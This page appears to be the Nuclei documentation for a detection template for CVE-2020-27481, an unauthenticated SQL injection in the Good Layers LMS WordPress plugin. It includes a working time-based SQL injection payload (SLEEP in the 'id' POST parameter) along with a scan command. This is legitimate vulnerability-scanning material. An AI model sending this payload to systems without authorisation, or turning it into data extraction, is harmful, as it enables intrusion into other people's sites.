Skip to content
Nuclei Templates

Good Layers LMS Plugin <= 2.1.4 - SQL Injection

ID: CVE-2020-27481

Severity: critical

Author: edoardottt

Tags: time-based-sqli,cve,cve2020,goodlayerslms,sqli,wpscan,goodlayers,wordpress

Description

Section titled “Description”

An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of “wp_ajax_nopriv” call in WordPress, which allows any unauthenticated user to get access to the function “gdlr_lms_cancel_booking” where POST Parameter “id” was sent straight into SQL query without sanitization.

YAML Source

Section titled “YAML Source”
id: CVE-2020-27481


info:
  name: Good Layers LMS Plugin <= 2.1.4 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of "wp_ajax_nopriv" call in WordPress, which allows any unauthenticated user to get access to the function "gdlr_lms_cancel_booking" where POST Parameter "id" was sent straight into SQL query without sanitization.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version of the Good Layers LMS Plugin (2.1.5 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/652eaef8-5a3c-4a2d-ac60-b5414565c397
    - https://gist.github.com/0xx7/a7aaa8b0515139cf7e30c808c8d54070
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27481
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-27481
    cwe-id: CWE-89
    epss-score: 0.11692
    epss-percentile: 0.95277
    cpe: cpe:2.3:a:goodlayers:good_learning_management_system:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: goodlayers
    product: good_learning_management_system
    framework: wordpress
  tags: time-based-sqli,cve,cve2020,goodlayerslms,sqli,wpscan,goodlayers,wordpress


http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV)


    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - "contains(body, 'goodlayers-lms') || contains(body, 'goodlms')"
        condition: and
# digest: 4a0a004730450221008cee02aed22a67912f8504850d988d860e5537cd5b3bb45910a7ae958ff5c7460220093d37340b9849fc09caa2a80047fa96097c30ee34b3e0ae2aeb3ca5badc6c2c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-27481.yaml"

View on Github